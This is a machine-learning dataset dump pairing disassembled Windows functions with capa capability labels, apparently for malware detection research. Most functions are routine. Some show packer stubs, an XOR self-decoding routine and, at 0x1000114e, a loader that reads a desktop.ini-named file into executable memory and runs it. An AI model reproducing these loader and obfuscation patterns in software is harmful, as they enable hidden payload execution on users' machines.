joyce8/EMBER2024-capa huggingface dataset:
Function at 0x440d40
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x441758
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov eax, dword [0x46a034]
xor eax, esp
push eax
lea eax, [esp + 0x24]
mov dword fs:[0], eax
mov eax, dword [0x46a0ec]
cmp eax, 0xffffffff
jne 0x440d79
xor ebp, ebp
mov dword [esp + 0x14], ebp
jmp 0x440d86
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ebp
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [esp + 0x2c], 0
test ebp, ebp
je 0x440ded
jmp 0x440dbc
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp + 0x14], 0
mov edi, dword [ebp + 0xc]
jne 0x440e2a
test edi, edi
jne 0x440e30
push 0x440160
push 0x472adc
call fcn.0043fef0
mov eax, dword [0x46a0ec]
add esp, 8
cmp eax, 0xffffffff
je 0x440ded
push edi
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [esp + 0x2c], 0xffffffff
test ebp, ebp
je 0x440e16
lea eax, [ebp + 4]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x440e16
mov eax, dword [ebp]
push 0
mov ecx, ebp
call dword [eax]
push ebp
push 0
call esi
push eax
call ebx
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
test edi, edi
je 0x440e68
mov edi, edi
mov eax, dword [edi + 4]
mov dword [ebp + 0xc], eax
mov ecx, dword [edi]
test ecx, ecx
je 0x440e59
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [edi]
push 0
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call esi
push eax
call ebx
push edi
push 0
call esi
push eax
call ebx
mov edi, dword [ebp + 0xc]
test edi, edi
jne 0x440e30
mov ebx, dword [ebp + 0x10]
lea eax, [ebp + 0x10]
mov esi, dword [ebx]
mov dword [esp + 0x18], eax
cmp esi, ebx
je 0x440db0
mov ebp, eax
mov edi, edi
cmp byte [esi + 0xd], 0
mov edi, esi
jne 0x440ec7
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
jne 0x440eac
mov esi, eax
mov eax, dword [esi]
cmp byte [eax + 0xd], 0
jne 0x440ec7
jmp 0x440ea0
mov esi, eax
mov eax, dword [esi]
cmp byte [eax + 0xd], 0
je 0x440ea0
jmp 0x440ec7
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x440ec5
cmp esi, dword [eax + 8]
jne 0x440ec5
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x440eb5
mov esi, eax
mov ecx, dword [edi + 0x14]
test ecx, ecx
je 0x440edb
mov edx, dword [edi + 0x1c]
test edx, edx
je 0x440edb
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push edi
lea eax, [esp + 0x24]
push eax
mov ecx, ebp
call fcn.0042dc89
cmp esi, ebx
jne 0x440e80
mov ebp, dword [esp + 0x14]
jmp 0x440db0
Function at 0x440f00
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push esi
mov esi, ecx
mov edx, dword [esi]
lea eax, [edx + 0x18]
push eax
push 4
push edx
push 0x440f70
push 0
push 0
call dword [sym.imp.MSVCR110.dll__beginthreadex]
mov ebx, eax
add esp, 0x18
test ebx, ebx
jne 0x440f2a
pop esi
xor al, al
pop ebx
ret
mov ecx, dword [esi]
push edi
add ecx, 4
mov eax, 1
lock xadd dword [ecx], eax
mov edi, dword [esi]
mov eax, dword [edi + 8]
test eax, eax
je 0x440f4e
cmp eax, 0xffffffff
je 0x440f4e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 8], ebx
mov eax, dword [esi]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
mov al, 1
pop ebx
ret
Function at 0x40d33e
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419528]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004091da
mov dword [ebp - 0x14], eax
cmp dword [0x455170], esi
jne 0x40d431
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d3be
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d511
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d511
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d511
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x455170], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x455174], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x455178], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x455180], eax
test eax, eax
je 0x40d42e
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x45517c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d456
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d449
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d46b
push 4
pop eax
jmp 0x40d513
cmp dword [ebp - 0x14], esi
je 0x40d46b
push dword [0x455170]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d450
mov eax, dword [0x45517c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d4c9
cmp dword [0x455180], edi
je 0x40d4c9
push eax
call ebx
push dword [0x455180]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d4c9
test eax, eax
je 0x40d4c9
call ecx
test eax, eax
je 0x40d4be
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d4be
test byte [ebp - 8], 1
jne 0x40d4c9
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d4f9
mov eax, dword [0x455174]
cmp eax, edi
je 0x40d4f6
push eax
call ebx
test eax, eax
je 0x40d4f6
call eax
mov esi, eax
test esi, esi
je 0x40d4f6
mov eax, dword [0x455178]
cmp eax, edi
je 0x40d4f6
push eax
call ebx
test eax, eax
je 0x40d4f6
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x455170]
call ebx
test eax, eax
je 0x40d511
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d513
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403acc
mov esp, ebp
pop ebp
ret
Function at 0x793710
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1ef000]
mov dword [edi + 0x2cd47c], 0x96654901
push edi
jmp 0x79373a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x793741
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x793730
mov eax, 1
add ebx, ebx
jne 0x793753
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x793764
jne 0x793783
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x793783
dec eax
add ebx, ebx
jne 0x793770
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x793748
add ebx, ebx
jne 0x79377f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7937d5
xor ecx, ecx
sub eax, 3
jb 0x79379b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x79380a
sar eax, 1
mov ebp, eax
jmp 0x7937a6
add ebx, ebx
jne 0x7937a6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x793774
inc ecx
add ebx, ebx
jne 0x7937b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x793774
add ebx, ebx
jne 0x7937c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7937b6
jne 0x7937d2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7937b6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7937f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7937e6
jmp 0x793736
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7937f4
add edi, ecx
jmp 0x793736
pop esi
mov edi, esi
mov ecx, 0xef86
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x793812
cmp byte [edi], 0x26
jne 0x793812
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x793817
lea edi, [esi + 0x382000]
mov eax, dword [edi]
or eax, eax
je 0x79388f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3a3efc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3a40d0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x793844
mov ecx, edi
jns 0x793873
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3a40d8]
or eax, eax
je 0x793889
mov dword [ebx], eax
add ebx, 4
jmp 0x793861
call dword [esi + 0x3a40d4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x7938c0
cmp al, 0xef
ja 0x7938b3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x793895
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x7938a2
mov ebp, dword [esi + 0x3a40dc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x26f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7938f4
sub esp, 0xffffff80
jmp 0x5c9f5a
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x12890f55
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x29a43d96
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x401270
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4cf038
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
xor esi, esi
push eax
lea ecx, [esp + 0x24]
mov dword [esp + 0xc], esi
call fcn.004040b0
lea edi, [esp + 0x20]
mov dword [esp + 0x14], esi
call fcn.00403410
mov edx, dword [esp + 0x20]
lea ecx, [esp + 8]
push ecx
mov ecx, dword [esp + 0x20]
push edx
add ecx, 0x30
call fcn.004bde23
mov edx, dword [esp + 8]
mov esi, eax
neg esi
sbb esi, esi
mov dword [esp + 0x14], 0xffffffff
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
and esi, edx
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4012f1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x404270
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x404289
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x40429d
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4042be
cmp esi, eax
jae 0x404297
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4042b0
cmp esi, eax
jae 0x404297
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x404dd0
Capabilities:
Access peb ldr_data
Hash data using sha1

Disassembly:
push 0xffffffffffffffff
push 0x4cd5d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x70
push esi
xor esi, esi
mov dword [esp + 4], 0x4db048
mov dword [esp + 8], esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], esi
lea eax, [esp + 4]
push eax
mov dword [esp + 0x80], esi
call fcn.00404eb0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push ecx
push edx
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x2c], 0x67452301
mov dword [esp + 0x30], 0xefcdab89
mov dword [esp + 0x34], 0x98badcfe
mov dword [esp + 0x38], 0x10325476
mov dword [esp + 0x3c], 0xc3d2e1f0
call fcn.0049e3d0
add esp, 0xc
lea ecx, [esp + 0x18]
call fcn.0049abe0
xor eax, eax
mov ecx, eax
mov edx, eax
sar edx, 2
mov edx, dword [esp + edx*4 + 0x20]
not ecx
and ecx, 3
shl ecx, 3
shr edx, cl
inc eax
cmp eax, 0x14
mov byte [eax + edi - 1], dl
jl 0x404e66
mov eax, dword [esp + 0xc]
cmp eax, esi
mov dword [esp + 4], 0x4db048
pop esi
je 0x404e9f
push eax
call fcn.004acb33
add esp, 4
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
add esp, 0x7c
ret
Function at 0x405700
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4d2628
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
xor esi, esi
mov dword [esp + 4], esi
call fcn.004be803
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 8], eax
mov edx, dword [esp + 0x20]
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 0x24]
push edx
add ecx, 0x30
mov dword [esp + 0x20], esi
call fcn.004be655
mov esi, dword [esp + 4]
mov dword [esp + 0x14], 0xffffffff
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40577b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 8

Function at 0x40a3f0
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4cd539
push eax
mov dword fs:[0], esp
push esi
mov esi, dword [esp + 0x14]
push edi
call fcn.004be803
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi + 0x7c], eax
xor edi, edi
mov dword [esp + 0x10], edi
call fcn.004be803
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi + 0x88], eax
lea ecx, [esi + 0x90]
mov byte [esp + 0x10], 1
call fcn.004bd306
call fcn.004be803
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi + 0xac], eax
call fcn.004be803
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
mov ecx, dword [esp + 8]
add eax, 0x10
mov dword [esi + 0xb4], eax
mov dword [esi + 0xbc], edi
mov dword [esi + 0xb8], edi
mov dword [esi + 0xc0], 0x67452301
mov dword [esi + 0xc4], 0xefcdab89
mov dword [esi + 0xc8], 0x98badcfe
mov dword [esi + 0xcc], 0x10325476
mov dword [esi + 0xd0], 0xc3d2e1f0
mov dword [esi + 0x11c], edi
mov dword [esi + 0x120], edi
mov dword [esi + 0x128], edi
mov dword [esi + 0x124], edi
mov dword [esi + 0x118], 0x4db048
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x68], edi
mov dword [esi + 0x6c], edi
mov dword [esi + 0x70], edi
mov dword [esi + 0x74], edi
mov dword [esi + 0x78], edi
mov dword [esi + 0x80], edi
mov dword [esi + 0x84], edi
mov eax, dword [0x53436c]
mov dword [esi + 0xb0], edi
mov dword [esi + 0x8c], edi
mov dword [esi + 0xa8], eax
mov dword [esi + 0xa4], 0xffffffff
pop edi
mov eax, esi
mov dword fs:[0], ecx
pop esi
add esp, 0xc
ret 4

Function at 0x40ed00
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4cd491
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
mov dword [esp + 4], esi
mov dword [esi], 0x4db058
mov eax, esi
mov dword [esp + 0x10], 2
call fcn.0040f300
lea ecx, [esi + 0x30]
mov byte [esp + 0x10], 1
call fcn.004a2d80
lea ecx, [esi + 0xc]
mov byte [esp + 0x10], 0
call fcn.004bcf5c
lea ecx, [esi + 4]
mov dword [esp + 0x10], 0xffffffff
call fcn.004a2d19
mov ecx, dword [esp + 8]
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x40f340
Capabilities:
Terminate thread

Disassembly:
push ecx
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x40f3bc
mov eax, dword [ebx + 0x34]
push ebp
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ebp, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 5
mov edx, dword [ebx + 0x28]
lea ecx, [esp + 0xc]
push ecx
push edx
call ebp
test eax, eax
je 0x40f388
cmp dword [esp + 0xc], 0x103
jne 0x40f388
push 0x64
call edi
dec esi
test esi, esi
jg 0x40f366
test esi, esi
jne 0x40f3b2
mov eax, dword [ebx + 0x28]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push str.WARNING:_Terminating_CChatCore_thread.
push 0x534540
mov eax, 3
call fcn.00478d50
add esp, 8
push 0x64
call edi
pop edi
pop esi
mov dword [ebx + 0x28], 0
pop ebp
pop ecx
ret
Function at 0x412730
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4cf038
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x1c]
mov eax, dword [esi]
mov ecx, dword [eax - 0x10]
mov edx, dword [ecx]
push edi
xor edi, edi
mov dword [esp + 8], edi
call dword [edx + 0x10]
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
mov dword [esp + 0x14], edi
movzx ax, byte [esp + 0x24]
push 1
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x2c], eax
mov eax, dword [esi]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea eax, [esp + 0x30]
push eax
call fcn.004127e0
mov esi, dword [esp + 0x34]
add esi, 0xfffffff0
push esi
call fcn.00403fa0
mov edi, dword [esp + 0x34]
add eax, 0x10
add esp, 0x18
mov dword [edi], eax
mov dword [esp + 0x14], 0xffffffff
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4127c8
mov ecx, dword [esi]
mov eax, dword [ecx]
push esi
call dword [eax + 4]
mov ecx, dword [esp + 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x4132b0
Capabilities:
Set socket configuration

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
push esi
mov esi, ecx
mov dword [esi + 0x24], eax
mov eax, dword [edx]
lea ecx, [esi + 4]
mov dword [ecx], eax
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
mov eax, dword [edx + 8]
mov dword [ecx + 8], eax
mov edx, dword [edx + 0xc]
mov dword [ecx + 0xc], edx
mov eax, dword [esi + 8]
push edi
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [esi + 0x14]
call fcn.004039a0
push 0x14
call fcn.004be8d8
xor edi, edi
add esp, 4
cmp eax, edi
je 0x41330f
mov dword [eax], 0x4db048
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax + 0x10], edi
mov dword [eax + 0xc], edi
jmp 0x413311
xor eax, eax
push 0x14
mov dword [esi + 0x28], eax
call fcn.004be8d8
add esp, 4
cmp eax, edi
je 0x413336
mov dword [eax], 0x4db048
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax + 0x10], edi
mov dword [eax + 0xc], edi
jmp 0x413338
xor eax, eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [esi + 0x24]
lea ecx, [esp + 0xc]
push ecx
push 0x8004667e
push edx
mov dword [esi + 0x20], eax
mov dword [esp + 0x18], 1
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov ecx, dword [0x5062c8]
mov eax, dword [0x5062cc]
add ecx, 1
adc eax, edi
pop edi
mov dword [0x5062c8], ecx
mov dword [0x5062cc], eax
pop esi
ret 8